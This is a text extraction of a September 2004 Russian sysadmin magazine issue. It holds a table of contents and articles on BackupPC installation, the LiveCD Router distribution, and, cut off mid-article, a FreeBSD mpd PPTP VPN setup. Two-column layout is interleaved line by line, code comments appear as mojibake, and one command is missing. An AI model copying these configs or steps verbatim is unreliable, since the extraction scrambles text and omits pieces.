Вы находитесь на странице: 1из 98

№9(22) сентябрь 2004

подписной индекс 81655


www.samag.ru
Linux на страже Windows:
обзор системы резервного копирования
BackupPC
GRSecurity – система безопасности
для Linux
Роутер без диска
Windows XP Service Pack 2
глазами системного администратора
Возможно ли повышение точности IDS
PostgreSQL:
графический клиент pgAdmin
FreeBSD tips: устанавливаем VPN
Восстановление данных
№9(22) сентябрь 2004

на NTFS-разделах
Пакетные команды интерфейса ATAPI
PHP 5 – пришествие неизбежно
оглавление

АДМИНИСТРИРОВАНИЕ БЕЗОПАСНОСТЬ

Linux на страже Windows. Крепкий орешек


Обзор и установка системы резервного Обзор дистрибутива Adamantix – инструмента для повыше-
копирования BackupPC ния защищенности систем на базе Linux.

Андрей Маркелов Сергей Яремчук


andrew@markelov.net 2 grinder@ua.fm 40

Роутер без диска Бессонная ночь админа, или


Обзор дистрибутива Linux LiveCD Router. Возможно ли повышение точности IDS
Сергей Яремчук Сергей Яремчук
grinder@ua.fm 8 grinder@ua.fm 42

FreeBSD tips: устанавливаем VPN GRSecurity


Система безопасности для Linux.
Сергей Супрунов
amsand@rambler.ru 10 Кирилл Тихонов
aka_shaman@mail.ru 48
Взаимодействие shell-скриптов
с пользователем посредством Zenity ОБРАЗОВАНИЕ
Андрей Уваров
dashin@ua.fm 12 Восстановление данных на NTFS-разделах
Крис Касперски
PostgreSQL: графический клиент pgAdmin kk@sendmail.ru 60
Сергей Супрунов
amsand@rambler.ru 14 ПРОГРАММИРОВАНИЕ

Windows XP Service Pack 2 Пакетные команды интерфейса ATAPI


глазами системного администратора
Владимир Мешков
Михаил Платов ubob@mail.ru 70
platov@cs.vsu.ru 20
Особенности запуска внешних команд
Настраиваем соединение из ASP-страниц
по выделенной линии
Иван Коробко
Антон Борисов ikorobko@prosv.ru 86
a.borisov@tesv.tmb.ru 30
PHP 5 – пришествие неизбежно
Кирилл Сухов
geol@altertech.ru 90

BUGTRAQ 29, 85

№9(22), сентябрь 2004 1


администрирование

LINUX НА СТРАЖЕ WINDOWS


ОБЗОР И УСТАНОВКА СИСТЕМЫ РЕЗЕРВНОГО КОПИРОВАНИЯ BackupPC

АНДРЕЙ МАРКЕЛОВ
Думаю, в настоящее время никто уже не станет спорить с ! Гибкие настройки планирования архивации данных.
утверждением, что процесс вхождения Linux в корпоратив- ! Оповещения о выполненных действиях администрато-
ный мир стал необратимым, а процент установок этой опе- ра и пользователей посредством электронной почты.
рационной системы на серверах в различных организаци- ! Поддержка клиентов, работающих под управлением
ях постоянно возрастает. Linux, Freenix, Solaris Win95, Win98, Win2000 и WinXP.
Можно бесконечно спорить о преимуществах одних опе- Сервер тестировался на Linux, Freenix и Solaris.
рационных систем над другими, но когда у меня возникло ! Очень подробная документация.
желание сделать единое хранилище для ежедневных архи-
вов информации с более десяти серверов своей организа- В данной статье я хочу обобщить свой опыт установки,
ции, работающих под управлением нескольких различных настройки и эксплуатации этой системы, а также поделиться
ОС, я свой выбор остановил на платформе Linux. До сих решением нескольких проблем, которые возникли в про-
пор каждый сервер с помощью уникальных для него скрип- цессе установки.
тов в назначенное время сбрасывал по сети на сервер ре- Я проверял работу BackupPC версии 2.1.0, последней на
зервного копирования или stand by-сервер какие-то свои момент написания статьи, при помощи тестовой машины под
данные, например, пользовательские файлы с сетевых дис- управлением Fedora Core 2, и на «боевых» серверах, рабо-
ков, или дампы базы данных. Для этого использовались раз- тающих на Red Hat Linux 9 и White Box Enterprise Linux 3.
личные протоколы: ftp, SMB или штатные средства СУБД. Операционная система, стоящая на тестовом сервере фак-
При этом приходилось следить за уникальным для каждого тически является альфа-версией будущего Red Hat Enterprise
сервера лог-файлом, и в случае каких-либо изменений в Linux 4, а White Box Enterprise Linux 3 перекомпиляцией из
стратегии резервного копирования править скрипты на каж- свободно доступных исходных текстов текущей, третьей вер-
дой машине. сии коммерческого Linux-дистрибутива от Red Hat.
Чтобы как-то упростить администрирование и сократить Необходимость использовать не поддерживающуюся
время, затрачиваемое на поддержку и мониторинг всего более «девятку» возникла при установке RAID-контролле-
этого «зоопарка», я начал искать систему, которая бы под- ра Promise SuperTRAX SX6000, для которого существова-
держивала копирование информации по сети, умела делать ли драйвера только под эту операционную систему.
инкрементальные бэкапы, поддерживала бы удаленное
администрирование и не требовала установки клиентского Требования к установке
программного обеспечения. Кроме того, было важно, что- Прежде чем приступить непосредственно к инсталляции и
бы система умела работать по протоколу SMB, так как часть настройке самой системы резервного копирования
серверов, в частности основной файл-сервер, работали под BackupPC, необходимо определиться с требованиями к про-
управлением ОС Windows. граммному окружению, в котором должен работать сервер.
Спустя непродолжительное время такая система была Во-первых, как я уже писал, это операционная система,
найдена. Ею оказалась открытая, распространяющаяся по в роли которой может выступать Linux, Solaris либо другая
лицензии GNU система архивирования данных масштаба UNIX-подобная система. Во-вторых, необходимо предусмот-
предприятия BackupPC. Сайт расположен по адресу http:// реть наличие вместительного RAID-массива, или исполь-
backuppc.sourceforge.net. зовать LVM. Кроме того: Perl версии 5.6.0 или выше, Samba-
Основные особенности рассматриваемой программы: и Apache-сервер.
! Язык программирования, на котором написана систе- В этой статье я не буду касаться настройки клиента
ма, – Perl. Samba, в частности, работы в составе Active Directory. Я
! Минимизация хранимой информации за счет того, что предполагаю само собой разумеющимся, что если вы пла-
идентичные файлы из разных резервных копий хранят- нируете производить архивацию информации с Windows-
ся только в одном экземпляре. серверов, работающих в составе домена, то и должны обес-
! Настраиваемая степень сжатия данных. печить к ним доступ вашей Linux-машины. Отсутствие опи-
! Поддержка работы по протоколам smb/ssh/rsh/nfs. сания процесса конфигурирования Samba-сервера в дан-
! Мощный CGI-интерфейс, позволяющий управлять сер- ной статье, думаю, компенсируется многочисленными ма-
вером по сети посредством веб-браузера. териалами на эту тему в Интернете.
! Поддержка архивирования информации с машин, полу- Также предполагается, что вы используете кодировку
чающих настройки сети через DHCP, разрешая имена KOI-8 вместо установленной по умолчанию в большинстве
при помощи nmblookup. современных дистрибутивов UTF-8. Red Hat, в частности,

2
администрирование
перешла на ее использование с версии 8.0 своего продук- теля (httpd или apache), требуется Suid Perl. В Red Hat дис-
та. Но дело в том, что поддержка русского языка при помо- трибутивах соответствующий пакет называется perl-suidperl.
щи UTF-8 во многих приложениях далека от совершенства. Ну и, наконец, добавим пользователя, из-под которого
Безусловно, лучшим решением была бы работа с UTF-8, будет выполняться запуск системы резервного копирования:
но в данном случае я предпочел пойти по пути «наимень-
шего сопротивления» и воспользоваться уже существую- #useradd backuppc
щими у меня наработками.
Соответственно должен быть настроен и веб-сервер, у После окончания тестирования системы нелишним бу-
которого в качестве кодировки по умолчанию должно быть дет убрать для пользователя backuppc возможность инте-
указано KOI8-R. рактивного входа.
Приступая к установке BackupPC, в системе необходимо
иметь следующие perl-модули: Compress::Zlib, Archive::Zip и Установка BackupPC
File:RsyncP. Проверить наличие установленных модулей Теперь можно приступить непосредственно к установке
можно, дав команду: BackupPC. Развернем архив и запустим конфигурационный
скрипт:
perldoc <èìÿ ìîäóëÿ>
#tar zxvf BackupPC-x.x.x.tar.gz
#cd BackupPC-x.x.x
Если в ответ будет получено сообщение вида: #perl configure.pl

No documentation found for “Compress::Zlib”

следовательно, в вашей системе данный модуль еще не ус-


тановлен. Оба дистрибутива, в которых я устанавливал
BackupPC, по умолчанию этих модулей не содержат.
Процедура установки модулей, которые можно скачать
с www.cpan.org, следующая:

#tar zxvf èìÿ_àðõèâà.tar.gz // ðàçàðõèâèðóåì èñõîäíèêè


#perl Makefile.PL // ôîðìèðóåì makefile
#make // êîìïèëèðóåì èñõîäíèêè
#make test // ïîñëå âûïîëíåíèÿ ýòîé êîìàíäû ìû äîëæíû ïîëó÷èòü
// ñîîáùåíèå, ÷òî âñå òåñòû ïðîéäåíû óñïåøíî
#make install

Имеющие опыт общения с оболочкой cpan, могут посту-


пить проще – для установки модулей воспользоваться ею.
В случае RHEL3 для успешной компиляции модуля В ходе установки вам потребуется ответить на ряд воп-
Archive::Zip пришлось дать команду: росов. На первый – просьбу указать полный путь к уже ус-
тановленной старой версии – можно ответить, просто на-
export LANG=en_US жав «Enter», поскольку выполняется первоначальная уста-
новка. После вам будут показаны пути к утилитам, требуе-
без которой он отказался «собираться». мым BackupPC, которые скрипт определил самостоятель-
Кроме того, мне пришлось установить отсутствующую но, с просьбой подтвердить их расположение. Затем необ-
в дистрибутивах от Red Hat утилиту par2, которая создает ходимо проверить, правильно ли скрипт определил имя хо-
«избыточную информацию» для файлов с использованием ста и имя пользователя, которого мы создали ранее, а так-
кодов Рида-Соломона, и позволяет восстанавливать фай- же директорию для установки исполнимых файлов и ди-
лы, повреждённые до определённой степени. Скачиваем с ректорию для хранения данных.
сайта http://parchive.sourceforge.net исходники в виде фай- В зависимости от быстродействия сервера вам необхо-
ла par2cmdline-0.4.tar.gz, и выполняем команды: димо будет выбрать уровень компрессии резервируемых
данных. Уровень можно менять от 1 до 9. По умолчанию
#tar zxvf par2cmdline-0.4.tar.gz предлагается третий уровень. По заявлениям разработчи-
#cd par2cmdline-0.4
#./configure ков, при увеличении c «умолчальной» тройки до пятерки,
#make например, загрузка процессора увеличивается на 20%, а
#make check
#make install данные занимают на 2-3% меньше места. По этим данным
видно, что особого смысла увеличивать степень сжатия нет.
В принципе установка par2cmdline не обязательна, так При первоначальной установке я бы порекомендовал оста-
как по умолчанию BackupPC работает и без нее. Но все же вить тройку. Позднее можно попробовать поэксперименти-
я рекомендовал бы ее установить, особенно при отсутствии ровать с этим значением, поменяв его в конфигурацион-
RAID-массива на сервере. ном файле.
Также для корректной работы CGI-интерфейса при стан- Следующий вопрос касается пути к cgi-bin директории
дартной установке системы, когда веб-сервер запускается вашего веб-сервера (в Red Hat-подобных дистрибутивах это
из-под специально выделенного для этих целей пользова- /var/www/cgi-bin/) и пути к директории с устанавливаемыми

№9(22), сентябрь 2004 3


администрирование
иконками для CGI-интерфейса (/var/www/html/BackupPC). ! $Conf{MaxBackups} – максимальное число одновремен-
Кроме того, будет предложено ввести часть URL, указыва- ных процессов архивирования.
ющего на иконки, а именно расположение относительно ! $Conf{DfMaxUsagePct} – при заполнении указанного в
корневого каталога веб-сервера. Обратите внимание, что процентах объема диска, заданного для хранения дан-
путь должен начинаться со слэша. В нашем случае он бу- ных, архивирование не производится. По умолчанию 95%.
дет выглядеть как /BackupPC. ! $Conf{SmbShareName} – имя расшаренного ресурса на
Windows-машине. По умолчанию – это диск C:\, кото-
Настройка BackupPC рый в Win2000/XP доступен через SMB по имени «С$».
Как и большинство программ, работающих под управлени- ! $Conf{SmbShareUserName} – имя пользователя на
ем UNIX-подобных систем, настройка и изменение парамет- Windows-машине, которому даны права на ресурс об-
ров сервера BackupPC производится правкой конфигура- щего доступа .
ционных файлов. К чему мы и приступим. ! $Conf{SmbSharePasswd} – его пароль. В настоящее вре-
Интересующий нас файл config.pl расположен в подка- мя он приводится в открытом виде. В следующих вер-
талоге /conf, который был создан внутри директории, пред- сиях планируется хранение в зашифрованном виде.
назначенной для хранения данных. На самом деле этот ! $Conf{FullPeriod} – период в днях между полными ре-
файл очень хорошо документирован, поэтому я пройдусь зервными копиями.
лишь по основным параметрам. Config.pl состоит из четы- ! $Conf{IncrPeriod} – период в днях между инкременталь-
рех групп настроечных значений, содержащих: ными резервными копиями.
! основные параметры сервера; ! $Conf{FullKeepCnt} – максимальное число сохраняемых
! описание тех машин, информацию с которых нужно ар- полных резервных копий. $Conf{BackupFilesOnly} – спи-
хивировать; сок директорий, которые необходимо архивировать. По
! указания, как часто это надо делать; умолчанию – не определено.
! параметры CGI-интерфейса. ! $Conf{BackupFilesExclude} – то же самое, но для дирек-
торий-исключений.
! $Conf{WakeupShedule} – как часто сервис должен про- ! $Conf{ArchivePar} – при использовании par2cmdline про-
верять, были ли изменения на подлежащих архивиро- цент избыточных данных в архиве. По умолчанию – 0.
ванию компьютерах, и в случае изменений выполнять ! $Conf{EmailAdminUserName} – почтовый адрес админи-
резервирование данных. По умолчанию – каждый час, стратора, на который будут приходить сообщения об
кроме полуночи. ошибках и предупреждениях.

4
администрирование
! $Conf{CgiAdminUserGroup} и $Conf{CgiAdminUsers} – #chkconfig - -add backuppc
пользователи и группы, которым доступен CGI-интерфейс. #chkconfig - -level 35 backuppc on
К сожалению, данные действия приходится делать вруч-
Обратите внимание, что параметры, относящиеся к кон- ную, так как разработчики не включили эти операции в ус-
кретной машине, могут быть переопределены машинно- тановочный скрипт.
зависимым файлом Config.pl, который хранится в подди- В лог-файле messages вашего сервера должно появить-
ректории каталога с данными /BackupPC/pc/<имя_компью- ся сообщение об успешном старте сервиса, а в директории
тера>/. Действительно, на каждой машине могут быть свои с данными /BackupPC/log будет создан подробный лог са-
конкретные папки общего доступа, списки исключений, свой мого сервиса. После успешного старта можно попробовать
локальный пользователь с паролем, для которого установ- запустить браузер, и обратиться по адресу http://имя_сер-
лены свои разрешения. вера/cgi-bin/BackupPC_Admin. Если вы сделали все правиль-
Теперь настроим список компьютеров, данные с кото- но, то должны получить нечто подобное тому, что изобра-
рых необходимо архивировать. Файл с настройками нахо- жено на рисунках. В случае проблем с доступом к CGI-ин-
дится в том же каталоге, где и основной конфигурацион- терфейсу рекомендую обратиться к FAQ на сайте http://
ный файл, и называется hosts. Собственно, синтаксис фай- backuppc.sourceforge.net. В большинстве случаев в первую
ла максимально прост. Каждая строчка содержит три па- очередь необходимо проверить права доступа к файлам и
раметра: имя машины, имя (e-mail) ее хозяина и признак, директориям BackupPC. Однако, если вы следовали при-
получает ли данный компьютер сетевые настройки по DHCP веденному порядку установки, таких проблем возникнуть
или нет. не должно.
Теперь осталось скопировать скрипт старта и останов-
ки сервиса из дистрибутива /init.d/linux-backuppc в /etc/rc.d/ Русификация
init.d/backuppc, в случае Red Hat дистрибутива, а затем Еще одной проблемой при работе с CGI-интерфейсом, ре-
можно попробовать стартовать BackupPC командой: шение которой, однако, пришлось искать самому, может
стать некорректное отображение русских имен файлов и
#service backuppc start папок. Для исправления этой ситуации придется внести не-
большие изменения в файл Lib.pm, расположенный в подка-
Кроме того, нелишне добавить автоматический старт талоге /CGI директории с исполняемыми файлами програм-
при загрузке сервера в консоль и в X-Window: мы. Данный файл содержит системные процедуры BackupPC.

№9(22), сентябрь 2004 5


администрирование
Во-первых, найдите в теле процедуры Header строчку: Интерфейс
Интерфейс системы достаточно прост и нагляден. Обра-
«print $Cgi->header();» тившись по адресу: http://имя_сервера/cgi-bin/BackupPC_
Admin, вы попадаете в окно с общей информацией по сер-
и замените ее на: веру BackupPC. В левой части окна присутствует меню с
ссылками на более подробную информацию по работе всего
«print $Cgi->header(-charset=>”koi8-r”);» сервера, а также выпадающее меню с возможностью вы-
бора информации по конкретному архивируемому хосту.
Ну а во-вторых, в процедуре EscHTML закомментируй- Зайдя в меню по конкретному хосту, можно получить
те предпоследнюю строчку, стоящую перед «return»: всю информацию касательно выполненных операций ре-
зервирования данных, просмотреть списки архивных копий,
«$s=~s{([^[:print:]])}{sprintf(“&\#x%02X;”, ord($1));}eg;» а также «провалиться» в любой из них и восстановить фай-
лы и каталоги полностью или частично. Также имеется воз-
Теперь все имена будут отображаться в нормальном можность скопировать любой из файлов средствами брау-
виде, используя кодировку KOI-8. зера на ту машину, с которой вы зашли на сервер.
Кроме того, рекомендую обратить внимание на папку Заходя в инкрементальную резервную копию, вы види-
/lib/BackupPC/Lang, которая находится в директории с ис- те полную картину сохраненной файловой системы, то есть
полнимыми файлами. Там находятся файлы с локализован- полную резервную копию плюс наложенную на нее инкре-
ными сообщениями, выводимыми CGI-интерфейсом. В ком- ментальную копию. А для всех измененных файлов можно
плект поставки русский язык не входит, но вам ничего не просмотреть список версий и восстановить нужную из них.
мешает создать свой файл по образцу существующих, пе- Кроме того, все операции по работе с архивами можно
реведя сообщения с английского на русский язык. Часть выполнять из командной строки, но я не вижу смысла при-
этой работы я уже проделал для своего «внутреннего» ис- водить здесь синтаксис команд, поскольку он подробно
пользования. Перевод, не претендующий на полноту и вы- описан в документации, идущей в составе дистрибутива.
сокое литературное качество, я выложил на своем сайте. В конце мне хотелось бы поблагодарить Павла Шера за
Скачать архив можно по ссылке http://www.markelov.net/ ряд ценных советов, которые мне пригодились при написа-
program/bpcrus.tgz. нии статьи.

6
администрирование

РОУТЕР БЕЗ ДИСКА


СЕРГЕЙ ЯРЕМЧУК
В работе подчас встречаются ситуации, когда осуществле- имеется образ для загрузки с дискеты. Базируется LiveCD
ние тех или иных мероприятий или действий традиционным Router на Slackware 9.1, ядро 2.4.24, поэтому если имею-
путем если не то, что совсем невозможно, а просто неудоб- щееся у вас оборудование не поддерживается, то можно
но, а привычные инструменты оказываются практически взять необходимые модули со Slackware, перенести на дис-
бесполезны. Вот и у меня возникла ситуация, когда для по- кете или другим способом и положить в /lib/modules/2.4.24.
каза возможностей необходимо было в короткие сроки со- Аналогично можно и добавить приложения, взяв необхо-
брать и настроить сеть. А так как это была всего лишь пре- димые пакеты, и установить их при помощи installpkg или
зентация и все задействованные компьютеры использова- pkgtool. Загрузка дистрибутива не представляет собой ни-
лись в реальной работе, то одним из требований было по- чего интересного, только обращайте внимание на сооб-
меньше трогать настройки и ПО, для того чтобы можно было щения об ошибках. Для входа в систему используем ло-
быстро вернуть все в рабочее состояние. гин: root и пароль: cdrouter, никаких утилит, помогающих
Если с клиентскими компьютерами более-менее все ре- в настройке, в дистрибутиве почти нет, поэтому единствен-
шалось просто: где доустановкой пары программ, где ис- ным путем достижения цели будет в большинстве случа-
пользованием GNU/Linux LiveCD-дистрибутивов, то с роу- ев ручная настройка. Хотя для новичков, наверное, удоб-
тером вышла заминка. Имеющиеся у меня образцы либо ным будет использование веб-интерфейса Webmin, о не-
не удовлетворяли по возможностям, либо требовали уста- которых возможностях которого я писал в прошлом номе-
новки на жесткий диск, либо серьезного изменения настро- ре журнала. Для доступа используется порт 10000 (напри-
ек системы, что меня не совсем устраивало. Поэтому при- мер, http://192.168.1.1:10000) и логин/пароль admin/
шлось искать инструмент, который сможет помочь в такой cdrouter. Первоначально вас встретит испанский язык ин-
ситуации. И конечно же, он нашелся. Аргентинский дист- терфейса, поэтому лучше его сменить (Webmin-Change
рибутив Linux LiveCD Router подходит как нельзя лучше при Language and Theme).
демонстрации или тестировании возможностей, проверке Произвести необходимые настройки и просмотреть ин-
совместимости оборудования, самостоятельном изучении формацию можно, зайдя в один из пунктов в «Sistema
или обучении работе с UNIX-системами, настройке досту- LiveCD Router» (Log File Rotation, пользователи и группы,
па в Интернет в короткие сроки, а может, и в других ситуа- пароли, системное время, задания, процессы и пр.). В пун-
циях, кои жизнь подкидывает постоянно. Системные тре- кте «Команды пользователя» доступны четыре готовые ко-
бования к оборудованию невысоки: процессор 486 и выше, манды, для запуска которых достаточно нажать на кнопку
ОЗУ от 16 Мб, 2X CD-ROM, одна и более сетевых карт и оп- (при наличии прав): «Guardar Configuracion a Floppy» и «Volver
ционально WiFi-карта и дисковод. Жесткий диск, естествен- a Configuracion guardada en Floppy» – соответственно со-
но, не нужен. Домашняя страница http://www.wifi.com.ar/ хранение и восстановление конфигурации с флоппи-диска;
cdrouter.html, размер небольшой – 93 Мб. Дистрибутив дос- «Frottle Config File» – редактирование конфигурационного
тупен для свободного скачивания, плата берется за техни- файла Frottle (Freenet throttle, http://frottle.sourceforge.net)
ческую поддержку, подробную документацию по использо- /etc/frottle.conf, утилиты, предназначенной для контроля тра-
ванию и за более оснащенные версии дистрибутива. фика в беспроводных сетях; «Linux LiveCD Router Startup
Основные возможности: File» – редактируется файл /etc/rc.d/rc.local. По умолчанию
! Не требует установки, система просто загружается с CD- в этом файле прописан запуск веб-сервера Apache и
ROM, но чтобы каждый раз не вводить настройки, их Webmin, для примера закомментированы строки с настрой-
можно сохранить на дискету. кой интерфейса eth1, MRTG и Firewall Shorewall. Интерфейс
! Поддерживает различные типы устройств xDSL, Frame eth0 при запуске поднимается с адресом 192.168.1.1, при
Relay, Dial-Up, Ethernet, WiFi и пр. необходимости в файле /etc/rc.d/rc.inet1 (или утилиты
! Включает Firewall Shorewall и NAT. netconfig или webmin – сеть) можно изменить адрес либо
! Может использоваться и как точка доступа (Access установить автонастройку при помощи DHCP, после чего
Points) для WiFi. перезапускаем:
! Удаленное управление через Web и SSH.
! Кэширование DNS-запросов. #/etc/rc.d/rc.inet1
! Удаленный мониторинг при помощи SNMP и вывод ста-
тистики в графической форме. Дистрибутив переконфигурирован с настройками для
! Легко уживается в сети с компьютерами Windows и Mac. внешнего модема вроде US Robotics, подключенному к пер-
вому COM-порту /dev/ttyS0, но поддерживаются и некото-
Если оборудование не поддерживает загрузку с CD- рые внутренние модемы. Для настройки параметров доз-
ROM, то по адресу http://www.wifi.com.ar/download/bootfloppy вона, чтобы не прибегать к ручному редактированию фай-

8
администрирование
лов, новичкам советую воспользоваться утилитой pppsetup. orinoco и linux-wlan-ng. Некоторые изготовители подобных
После чего попробовать дозвониться, введя ppp-on, оста- устройств отказываются от производства драйверов для
новка при ppp-off. Аналогично для настройки ADSL-моде- систем, отличных от Microsoft Windows, некоторые из них
ма используем adsl-setup и запускаем/останавливаем adsl- (вроде Intel Centrino 2100, 3Com 3CRSHPW796) можно зас-
start/adsl-stop. Команда iptables -L -v выдает пустые цепоч- тавить работать при помощи утилиты ndiswrapper (http://
ки, что вполне естественно, т.к. по умолчанию все строки в ndiswrapper.sourceforge.net), в качестве входного парамет-
файле /etc/rc.d/rc.firewall закомментированы, если планиру- ра которой указывается inf файл. Дополнительно к упоми-
ется выход в Интернет, то это надо подправить. Firewall наемой выше утилите frottle, статус работы которой можно
Shorewall настроен (конфигурацию можно просмотреть в просмотреть, набрав http://192.168.1.1/frottle/frottle.html, в
файлах, расположенных в каталоге /etc/shorewall) на рабо- комплект включена и утилита мониторинга WiFi-сетей
ту с двумя ethernet-адаптерами eth0 и eth1, и в такой кон- wavemon. Имеется и веб-сервер Apache, поэтому если про-
фигурации можно ничего не трогать, а только запустить. сто набрать в браузере IP-адрес LiveCD Router, то получите
Настроив один раз все параметры, естественно, не хо- доступ к документации по настройке утилит, входящих в
чется повторять эту процедуру сначала, поэтому их можно комплект, и статистике MRTG, Frottle. Интересно, что при
сохранить на дискету, воспользовавшись командами через загрузке система обнаруживает разделы ext3 и FAT и мон-
Webmin или вручную. тирует их в режиме чтение-запись в каталог /mnt. Из кли-
ентских приложений присутствуют веб-браузеры links и
#configsave /dev/fd0 lynx, почтовые клиенты mutt nail и пакеты для работы по
протоколу ftp – ncftp и lftp, так что в случае крайней необхо-
Восстановить настройки. димости можно использовать LiveCD Router для получения
информации из Интернета. Для тех же, кто решится исполь-
#configrestore /dev/fd0 зовать дистрибутив в качестве постоянного маршрутиза-
тора, может пригодиться наличие демона genpowerd, рабо-
Хотя если вставить дискету во время загрузки систе- тающего в паре с UPS и позволяющего оперативно реаги-
мы, то параметры будут считаны автоматически. ровать на нарушения электропитания.
Со списком поддерживаемых WiFi-устройств можно оз- Скорее всего совет использовать LiveCD-дистрибутив
накомиться на странице http://www.wifi.com.ar/doc/wifi/ для организации постоянного доступа в сеть вряд ли кто-
wlan_adapters.html. Поддерживается большое количество то воспримет всерьез, но в случае непредвиденных обсто-
адаптеров, как внешних (USB, pcmcia), так и внутренних, ятельств это может быть тот единcтвенный инструмент, ко-
на чипах prism2 и Hermes, используются драйвера hostap, торый поможет быстро решить проблемы.

№9(22), сентябрь 2004 9


администрирование

FreeBSD TIPS: УСТАНАВЛИВАЕМ VPN

СЕРГЕЙ СУПРУНОВ
Недавно мне пришлось столкнуться с такой задачей: име- Прежде всего нужно было поднять на FreeBSD VPN-сер-
ется локальная сеть с адресами 10.x.x.0/24. вер. Почитав немного про такие средства, как poptop и mpd,
свой выбор я остановил на последнем как более «родном»
для FreeBSD. Mpd использует интерфейс netgraph, благо-
даря чему большинство операций выполняется на уровне
ядра системы, тем самым повышая скорость работы. Как
правило, специально включать поддержку netgraph в ядро
не требуется – она подгружается и отлично работает в виде
модулей, в чем можно убедиться с помощью команды kldstat
(после того, как mpd будет установлен и запущен):

Для работы с вышестоящим сервером корпоративной


сети машины должны иметь адреса из этого диапазона, и
пакеты в данном случае уходят непосредственно на Ethernet-
порт коммутатора (точнее, заворачиваются туда правилами
ipfw, работающего на сервере FreeBSD). Доступ в Интернет
осуществляется с помощью трансляции адресов (NAT).
Однако для работы с некоторыми внешними сервера-
ми мне нужно было иметь реальный адрес, причем рабо- Однако при желании ядро можно и пересобрать, вклю-
та через NAT или proxy-сервер не поддерживалась. Ста- чив все опции, начинающиеся с «NETGRAPH_». В ряде слу-
вить себе вторую сетевую карту и тащить отдельный сег- чаев, особенно для старых версий FreeBSD (например, 3.х),
мент до сервера, в который тоже пришлось бы устанавли- это может дать дополнительный прирост быстродействия.
вать еще один (уже третий) сетевой адаптер, очень не хо- Для установки mpd проследуем в коллекцию портов и вы-
телось. Вариант с назначением себе в каждый момент вре- полним там ряд нехитрых действий:
мени нужного адреса тоже не радовал (хоть Windows XP и
не требует перезагрузки после изменения сетевых адре- # cd /usr/ports/net/mpd
# make
сов, но все равно процедура не из приятных). Тогда было # make install
принято решение «пробросить» до сервера так называе-
мую виртуальную частную сеть (VPN), о чем и пойдет речь Поскольку мы ничего не меняли, то исполнимые файлы
в данной статье. будут помещены в /usr/local/sbin, а файлы конфигурации

10
администрирование
можно будет найти в /usr/local/etc/mpd – стандартная для котором сервер будет ожидать входящие соединения (в
FreeBSD раскладка. Сценарий автозапуска будет находить- моем случае это «внутренний» интерфейс FreeBSD, смот-
ся в /usr/local/etc/rc.d. Сразу после инсталляции файлы кон- рящий в локальную сеть). В качестве адреса сервера для
фигурации и сценарий будут иметь расширение «.sample», соединения VPN задан адрес «внешнего» интерфейса, мар-
следовательно, их нужно переименовать, убедившись, что шрутизируемого в Интернет.
никакие исправления (например, другие пути) в них вно- Поскольку со стороны VPN-сервера никуда дозванивать-
сить не нужно. Единственное, что от нас теперь требуется, – ся не требуется, то настройки в mpd.script для нас несуще-
отредактировать конфигурационные файлы для нашей за- ственны. Остальные два конфигурационных файла будут
дачи и запустить серверный процесс mpd. Файл mpd.conf выглядеть примерно так:
примет примерно следующий вид:
#--------------------- mpd.links -----------------------
#------------------- mpd.conf -------------------------- pptp0:
default: set link type pptp
# Óêàçûâàåì, êàêóþ êîíôèãóðàöèþ ãðóçèòü (â ïðèíöèïå âñå #------------------- mpd.secret ------------------------
# ïàðàìåòðû ìîæíî çàäàòü è íåïîñðåäñòâåííî â ñåêöèè default):
load pptp0 username "userpassword" *

pptp0: То есть в mpd.links просто описывается тип связи (pptp –


# Îáúÿâëÿåì íîâûé èíòåðôåéñ ng0:
new -i ng0 pptp0 pptp0 point to point tunneling protocol). Строго говоря, не имеет осо-
# Ïîñêîëüêó ìû íèêóäà íå çâîíèì, òî óñòàíàâëèâàòü бого значения, где именно описывать параметры линка – в
# ñîåäèíåíèå ïî òðåáîâàíèþ íå íóæíî:
set iface disable on-demand mpd.links или непосредственно в mpd.conf (в нашем приме-
# Ðàçðåøàåì ïðîõîæäåíèå arp-çàïðîñîâ: ре большинство команд set link размещены именно там).
set iface enable proxy-arp
# Çàïðåùàåì ðàçðûâàòü ñâÿçü ïðè ïðîñòîå: Это вопрос удобства при работе с большим количеством
set iface idle 0 разнообразных соединений. В mpd.secret перечисляем поль-
# Îãðàíè÷åíèå íà ðàçìåð èñõîäÿùèõ ïàêåòîâ çíà÷åíèåì MTU:
set iface enable tcpmssfix зователей с паролями, которым нужно будет устанавливать
# Óêàçûâàåì, ÷òî íàøå ñîåäèíåíèå – íå ìóëüòèëèíê: VPN-соединения (в данном случае такой пользователь толь-
set bundle disable multilink
# Òðåáóåì øèôðîâàíèå: ко один). Не забывайте исключить возможность чтения дан-
set bundle yes crypt-reqd ного файла кем-то еще, кроме суперпользователя root. Те-
# Âêëþ÷àåì êîìïðåññèþ:
set bundle enable compression перь запускаем сервер:
set link yes acfcomp protocomp
# Ðàçðåøàåì òîëüêî chap-àâòîðèçàöèþ: # /usr/local/etc/rc.d/mpd.sh start
set link no pap chap
set link enable chap
# Èíòåðâàëû ïðîâåðêè ëèíêà íà «æèçíåñïîñîáíîñòü»:
set link keep-alive 10 60 Чтобы убедиться, что сервер запустился и прослушива-
# Ðàçìåð «îêíà îòñûëêè»: ет порт 1723 (pptp) в ожидании подключений, выполните
set link mtu 1460
# Ðàçðåøàåì êîìïðåññèþ TCP-çàãîëîâêà: следующую команду:
set ipcp yes vjcomp
# Ñëåäóþùèé ïàðàìåòð çàäàåò äèàïàçîíû IP-àäðåñîâ
# íà ñòîðîíå ñåðâåðà è íà ñòîðîíå êëèåíòîâ â âèäå
# set ipcp ranges local[/width] remote[/width] Со стороны Windows никаких особых телодвижений не
#  íàøåì ñëó÷àå ñåðâåðó è êëèåíòó íàçíà÷àåòñÿ ïî îäíîìó
# àäðåñó: требуется – просто создаем соединение VPN, следуя ука-
set ipcp ranges 197.y.y.73 197.y.y.75 заниям мастера подключения. В качестве адреса назначе-
# Ñëåäóþùèå ÷åòûðå îïöèè cpp îïðåäåëÿþò ïðîòîêîëû
# óïðàâëåíèÿ ñæàòèåì (compression control protocol) – ния указывается «собственный» адрес VPN-сервера, то есть
# äëÿ ðàáîòû ñ Windows-êëèåíòàìè. Âêëþ÷àåì ïîääåðæêó ñæàòèÿ в нашем случае – 10.x.x.254. Теперь, когда нужно порабо-
# MPPC (Microsoft Point-to-Point Compression):
set ccp yes mppc тать с реальным адресом, просто устанавливается VPN-
# Ïîääåðæêà 40-áèòíîãî êîäèðîâàíèÿ: соединение, по окончании сеанса – закрывается.
set ccp yes mpp-e40
# Ïîääåðæêà 128-áèòíîãî êîäèðîâàíèÿ: В заключение хочется отметить еще одно полезное свой-
